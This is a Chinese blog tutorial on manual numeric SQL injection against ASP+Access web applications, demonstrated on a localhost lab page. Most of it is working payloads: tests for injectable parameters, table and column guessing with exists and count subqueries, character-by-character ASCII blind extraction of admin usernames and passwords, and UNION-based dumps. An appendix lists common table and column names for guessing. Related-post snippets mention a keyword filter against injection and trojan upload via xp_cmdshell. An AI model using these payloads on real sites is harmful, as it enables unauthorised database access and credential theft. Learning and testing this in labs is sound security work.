SQL注入系列之ASP+ACCESS手动注入(一)----数字型

最新推荐文章于 2024-07-11 14:56:11 发布
最新推荐文章于 2024-07-11 14:56:11 发布
阅读量2.1w 收藏 49
点赞数 10
分类专栏： SQL注入 文章标签： sql注入 asp sql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u011781521/article/details/53942183
版权

一、access数据库


1.简介


Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点，是 Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。


2.access数据库结构

access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。


3.access如何查看


可以安装office套件进行查看、或者可以通过别的工具、如DbView、Easy Access等。


4.测试所使用的的表


使用DbView打开Database目录下的#Data.mdb文件




点击admin表进行查看






二、测试SQL注入



access注入基本流程:


1.判断有无注入

2.猜解表名

3.猜解字段

4.猜解管理员ID值

5.猜解用户名和密码长度

6.猜解用户名和密码



常见的查询方式:


(1)、联合查询法（速度快，兼容性不好）


        and 1=1 and 1=2 ——判断注入


        order by 22  ——猜有多少列（22正确，23错误，则为22个）

        union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名（报错说明表名不存在，将admin换成别的继续猜）


        union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin ——猜列名（列名位置放置页面上显示的数字位置上）（报错说明列名不存在，换列明继续猜）（列名猜对后及出账号密码）


(2)、逐字猜解法（速度慢，兼容性好）啊D明小子就是采用这种方法



        and 1=1 and 1=2 ——判断注入

        and exists (select * from admin) ——猜表名

        and exists (select user_name from admin) ——猜列名

        查数据：1.确定长度 2.确定asc数据(asc编码)

        and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5，正常则=5，也可以用>,<号去判断）

        and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位（97代表‘a’的ascll值）

        and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位

        （user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3）



1.判断有无注入


总结起来有以下四种判断方法:


粗略型：提交单引号'
逻辑型（数字型注入）：and 1=1/and 1=2
逻辑型（字符型注入）：' and '1'='1/' and '1'='2
逻辑型（搜索型注入）：%' and 1=1 and '%'='%/%' and 1=2 and '%'='%


最常用的寻找SQL注入点的方法，是在网站中寻找如下形式的页面链接：http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能是数字，也有可能是字符串，分别被称为整数类型数据或者字符型数据。


通常可以使用以下两种方法进行检测，判断该页面链接是否存在SQL注入漏洞。


1.1 “加引号”法


方法一


在浏览器地址栏中的页面链接地址后面增加一个单引号，如下所示：http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513'
然后访问该链接地址，浏览器可能会返回类似于下面的错误提示信息：


Microsoft OLE DB Provider for ODBC Drivers '80040e14'
[Microsoft][ODBC Microsoft Access 驱动程序] 字符串的语法错误 在查询表达式 'id=1513'' 中。
\wwwroot\sql\Production\PRODUCT_DETAIL.asp, line 5



如图所示，页面中如果返回了类似的错误信息，说明该网站可能存在SQL注入攻击的漏洞。



方法二


有很多的网站都过滤了单引号，我们就可以在id变量后面输入"-1",比如: http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513-1,就会返回一个不同的正常界面，因为就相当输入了http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1512





1.2 “1=1和1=2”法


　　“加引号”法很直接，也很简单，但是对SQL注入有一定了解的程序员在编写程序时，都会将单引号过滤掉。如果再使用单引号测试，就无法检测到注入点了。这时，就可以使用经典的“1=1和1=2”法进行检测。


　　如果正常页面链接地址为：http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513，在浏览器中分别输入以下两个链接地址，分别查看它们返回的结果值。


　　Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1。
　　Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2。


　　如果存在注入点的话，浏览器将会分别显示为：


　　Ø 正常显示，内容与正常页面显示的结果基本相同。




　　Ø 提示BOF或EOF(程序没做任何判断时)，或提示找不到记录，或显示内容为空(程序加了on error resume next)




原理就是：看他有没有在数据库中执行过，and 1=1 永远为真所以页面返回正常，and 1=2永远为假所以返回的结果会出错，根据他的结果来判断有没有sql注入。



2.猜解表名



在地址后面加上:


方法一


and 0<>(select count(*) from 表名) 


（<>：不等于）， count是统计的函数，统计表中的所有字段。如果admin不存在，那么(select count(*) from admin)为假，即0.则0<>0(0不等于0），为假，所以导致返回结果出错。若存在admin，则0<>1成立，结果为真。



方法二


and exists (select * from 表名)


exists：指定一个子查询，检测行的存在。返回的结果类型为布尔型。  

and exists (select * from admin)：用exists判断select * from admin的结果是否为真。 

select * from admin：查询admin表里面的全部数据。      


注：exists不能猜内容，猜admin表的内容：and (select * from admin) 


来判断此数据库是否存在admin表，若存在，就返回正常，反之错误。


列:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 0<>(select count(*) from admin)






http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)



PS：

1、猜到表名猜不到列名：采用access偏移注入
2、猜不到表名或列名：（1）社工（如：www.xxxxx.com/ck_news.asp?id=xxx,那么就可以猜ck_username)
                                   （2）用各种工具试一下（因为每个工具字典不同）
                                   （3）看后台源代码（看表单的name，可能列明表名就是相应的name）

3、参考下面附录b中的常用的一些表名与列名


3.猜解字段


方法一


在注入点后面加 and exists (select id from admin)，若页面返回正常，就说明admin 表里存在id这个字段。然后输入 and exists (select username from admin)和and  exists (select password from admin)，均返回正常的话，就说明存在username和password字段。


列:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin)



4.猜解管理员ID值


方法一


在注入点后面加 and exists (select id from admin where id=1),若返回错误页面，就说 明不存在id=1的帐号，然后继续猜id=2。直到返回正常的页面




http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where id=39)



5.猜解用户名和密码长度


方法一


若前面已猜出存在id=39的帐号，则继续输入 and exists (select id from admin where len (admin) <6 and id=39)，页面返回正常，就说明username字段长度小于6


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) <6 and id=39)


然后继续and exists (select id from admin where len (admin) <5 and id=39)，若返回错误，


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) <5 and id=39)



就尝试and exists (select id from admin where len (admin) =5 and id=39)，返回正常，就说明username字段长度为5位。


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) =5 and id=39)



猜password字段方法类似：and exists  (select id form admin where len（password）<5 and id =39).



方法二


and（Select top 1 len（列名） from 表名）>N


(TOP表示把最前面的一条记录提取出来；N为变换猜解的列长度，页面错误即说明该列长度为N)

如：


and 1=(select count(*) from admin where len(name)>6) 错误


and 1=(select count(*) from admin where len(name)>5) 正确


则表示admin表中name字段的第一条记录的长度是6。


6.猜解用户名和密码


猜解每一位数据ascii码语句：


and (select top 1 asc(mid(列名,1,1)) from 表名)>0


asc函数的功能是将字符转换成ascii码。

mid函数的功能是截取 admin字段值的字串。从第一位开始，截取的长度为1.这句话的意思是猜测第一个字的ascii码是否大于0，若返回正常就继续猜，


附上一张ascii码表:




列:


and (select top 1 asc(mid(admin,1,1))from admin)>101 不显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>101



继续and (select top 1 asc(mid(admin,1,1))from admin)<100,返回正常，就说明在0-100之间，然后继续缩小范围


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100



and (select top 1 asc(mid(admin,1,1))from admin)<97 返回错误，


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<97



然后and (select top 1 asc(mid(admin,1,1)) from admin)=97，返回正常,说明第一位的ascii码的值为97，即a。


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97



然后猜第二位and (select top 1 asc(mid(admin,1,1))from admin)>50


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>50



继续 and (select top 1 asc(mid(admin,1,1))from admin)<100 时不显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100



继续 and (select top 1 asc(mid(admin,2,1))from admin)=100 时显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1))from admin)=100



对照ascii码为结果d,然后再继续猜后面几位、密码为:admin


注意：
因为MD5的密文长度通常有16位、18位、32位、40位等几种，所以猜解密码的时候试一试15、16、17、18、31、32、39、40等长度可以加快猜解进度。




附录A


另外一种access注入方式:



1.猜字段：猜字段就是看他一张表里有多少个列，语句为order by +数字 如果猜对了页面正常显示(只要猜的数量少于实际数就会正常，猜的数量大于实际数就会报错)，如果没猜对就会出错。


列：


方法一


order by(排序) 22


页面显示正常：


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 22



少于实际数也正常：


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 20



如果大于实际的数据的话就会报错：


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 23



方法二


使用union语句下面会有介绍


在地址后面加入 union select 22个unll、没报错说明表的字段为22


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin



如果少一个或多一个null就会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin




2.猜表名：猜表名是根据字段的多少来进行的，语句为union select 1，2.... from一个表名


SQL UNION 操作符


UNION 操作符用于合并两个或多个 SELECT 语句的结果集、基本语法如下：


select column-1 column-2 from table-1 UNION select column-1 column-2 from table-2



如果应用程序返回了第一条查询得到的数据，我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询，来提取数据，是不是很容易啊，当然在使用UNION之前我们必须要满足两个条件：


Ø 两个查询返回的列数必须相同
Ø 两个查询语句对于列返回的数据类型必须相同


请注意：UNION 内部的 SELECT 语句必须拥有相同数量的列、列也必须拥有相似的数据类型、同时、每条 SELECT 语句中的列的顺序必须相同、默认地、UNION 操作符选取不同的值、即UNION是去了重复的、如果允许重复的值、请使用 UNION ALL。


得到上面的表字段数之和就可以猜表名了


列:


如果输入一个不存在的表名就会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user




如果输入一个存在的就不会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin



通过null查出来的表、不会显示、两个uion之后、前一条语句是否有第二条语句共同的字段、通过数字的形式可以查询共同的字段如


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin



得到两个数字3,15说明admin表中有两个和前面语句列表相同的字段。


3.猜列名与内容：


把上面得到的那两个数字中替换成表中的用户名与密码字段名


列


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin




输入一个存在的列名就不会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin



然后去猜密码列名把15那个位置替换成密码列名


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin





附录B


常用的表名与列名


常用表名:


admin
a_admin
x_admin
m_admin
adminuser
admin_user
areicle_admin
adminisrearor
manage
manager
member
memberlist
user
users
Manage_User
user_info
admin_userinfo
UserGroups
user_list
login
用户
Friend
zl
movie
news
password
clubconfig
config
company
book
art
dv_admin
userinfo



常用列名:


username
adminusername
admin_username
adminname
admin_name
admin
adminuser
admin_user
usrname
usr_name
user_admin
password
admin_password
administrator
administrarors
adminpassword
adminpwd
admin_pwd
adminpass
admin_pass
usrpass
usr_pass
user
name
pass
userpass
user_pass
userpassword
user_password
pwd
userpwd
user_pwd
useradmin
pword
p_word
pass-wd
yonghu
用户
用户名
密码
帐号
id
uid
userid
user_id
adminid
admin_id
login_name

码农致富
关注
专栏目录
带SQL注入的一个ASP网站源码
12-06
带SQL注入的一个ASP网站源码，ASP+ACCESS手动注入环境搭建，用来练手不错！
SQL注入天书之ASP注入漏洞全接触
qpl007（蓝色闪电）的专栏
01-12 972
引 言 　　随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。 　　SQL注入是从正常的
WEB攻防-通用漏洞-SQL注入-ACCESS一般注入与偏移注入
最新发布
weixin_45534587的博客
07-11 916
同样的使用union select来做，不同的是不需要知道列名，而是通过偏移爆出数据，但前提是查询的表必须比当前查询到的列数小，如该案例在上文中查询到22列，则如果要查询admin表的列数必须比当前查询的22列的列数少，因为要把查询到表塞进当前查询到列中，不理解往下看例子。union select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin --回显错误。在偏移6位之后回显正常，则知道admin有6列 ，而3和15是回显位，这里选择使用15回显。
ASP+Access注入
Jim的博客
08-15 615
查询数据库类型： 内置变量查询数据库类型： and user>0 内置数据表查询数据库类型： and (select count(*) from sysobjects)>=0 and (select count(*) from msysobjects)>=0 猜表名： and exists (select * from 表名) and (select count(*) from 表
asp中防止脚本注入攻击
wthorse的专栏
06-04 977
  SQL_injdata = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"  SQL_inj = split(SQL_Injdata,"|")  If Request.QueryString    For Each SQL_Get In Request.Query
ASP中的SQL注入
flynetcn的专栏
02-02 1854
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。SQL注入是从正常的WWW端口访问，
ASP+ACCESS带SQL注入网站源码
05-20
ASP+ACCESS带SQL注入网站源码，完美适合网络安全初学者的SQL注入案例
针对asp+access网站进行sql注入利用
一米八多的瑞兹的博客
02-25 324
针对asp+access网站进行sql注入利用 1. asp+access网站技术介绍 ASP即Active Server Pages，是MicroSoft公司开发的服务器端脚本环境，可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时，它会处理包含在用于构建发送给浏览器的HTML（Hyper Text Markup Language，超文本置标语言）网页文件中的服务器端脚本代码。除服务器端脚本代码外，ASP文件也可以包含文本、HTML（包括相关的客户端脚本）和com组件调用
通过ASP+ACCESS数据库网站注入检测教程.rar
06-01
通过该教程，能给ASP网站开发者一些网站检测经验
asp+access注入网站源码
02-19
个人博客：实战初级SQL注入-access篇，所涉及的网站源码，如有侵权冒犯，请联系我。
asp和php注入,asp手工注入
weixin_42181686的博客
03-12 139
判断是否存在注入http://URL.asp?id=24 and 1=1 返回了正常http://URL.asp?id=24 and 1=2 返回了错误注入存在判断数据库是ACC或MSS:ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,MSS的系统表是sysobjects,在WEB环境下有访问权限。http://URL.asp?id=24 and (select cou...
ASP+ACCESS SQL注入漏洞修复代码
caizi001的专栏
05-07 3548
最近发现公司的网站被写入了些代码，应该是被注入入侵了，我们的企业网站是几年前做的，使用的是asp+access做的，现在在网上找到了一些修复漏洞的方法先给两种万能的防注入代码（放置conn.asp中） 第一种： squery=lcase(Request.ServerVariables("QUERY_STRING")) sURL=lcase(Request.ServerVariable
第二课 SQL注入之access
dianyanxia的博客
01-20 206
一、搭建组合            操作系统：windows Linux 目录 一、搭建组合 搭建平台：iis apache uginx tomcat 脚本格式： asp php aspx jsp cgi war py pl do js 数据库： access mysql mssql oracle db2 postsql 脚本  数据库  搭建平台  操作系统 1.a...
Access数据库及注入方法
热门推荐
谢公子的博客
01-14 1万+
目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Acces...
SQL注入与ASP木马上传
12-31 927
SQL注入后，如何上传木马，一直是比较头疼的事，我这里提供上传木马的一种另一种方法。1、SQL注入的时候，用xp_cmdshell 向服务器上写入一个能写文件的asp文件。文件内容：Set objFSO = Server.CreateObject("scripting.FileSystemObject")Set objCountFile=objFSO.CreateTextFile(request(
asp+access
noaighost的专栏
11-20 2313
Asp与Access数据库连接入门2008-11-04 14:54     静态网页是指直接或间接制作成html的网页，这种网页的内容是固定的，修改和更新都必须要通过Dreamweaver、Frontpage等网页制作工具，而且只要修改了网页中的一个字符或一个图片都要重新上传一次覆盖原来的页面。     动态网页是以数据库技术为基础，以.asp、.jsp、.php、.per
SQL注入攻击与sqlmap工具详解
1. **数字型注入**：当用户输入被期望为数值时，如上面的例子所示。 2. **字符型注入**：用户输入被视为字符串，例如在搜索功能中。 3. **搜索型注入**：涉及对查询中的通配符或模糊匹配的支持。 ### SQLmap的基本...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值